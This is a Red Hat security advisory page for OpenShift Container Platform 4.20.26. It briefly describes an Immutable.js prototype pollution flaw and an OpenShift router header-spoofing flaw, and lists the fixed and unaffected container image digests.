"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "openshift/router: openshift/router: mTLS client certificate spoofing via unstripped X-SSL-Client headers on HTTP frontend"
}
]
}
RHSA-2026:27063
Vulnerability from csaf_redhat - Published: 2026-06-23 08:26 - Updated: 2026-07-30 19:20Summary
Red Hat Security Advisory: OpenShift Container Platform 4.20.26 bug fix and security update
Severity
Important
Notes
Topic: Red Hat OpenShift Container Platform release 4.20.26 is now available with updates to packages and images that fix several bugs and add enhancements.
This release includes a security update for Red Hat OpenShift Container Platform 4.20.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
Details: Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.
This advisory contains the container images for Red Hat OpenShift Container Platform 4.20.26. See the following advisory for the RPM packages for this release:
https://access.redhat.com/errata/RHBA-2026:27059
Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:
https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Immutable.js, a library for persistent immutable data structures. This vulnerability, known as Prototype Pollution, allows an attacker with low privileges to inject unwanted properties into core JavaScript object prototypes without user interaction. By manipulating specific APIs such as mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject(), a remote attacker could potentially execute arbitrary code or cause a denial of service (DoS).
8.8 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Vendor Fix
fix
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — | ||
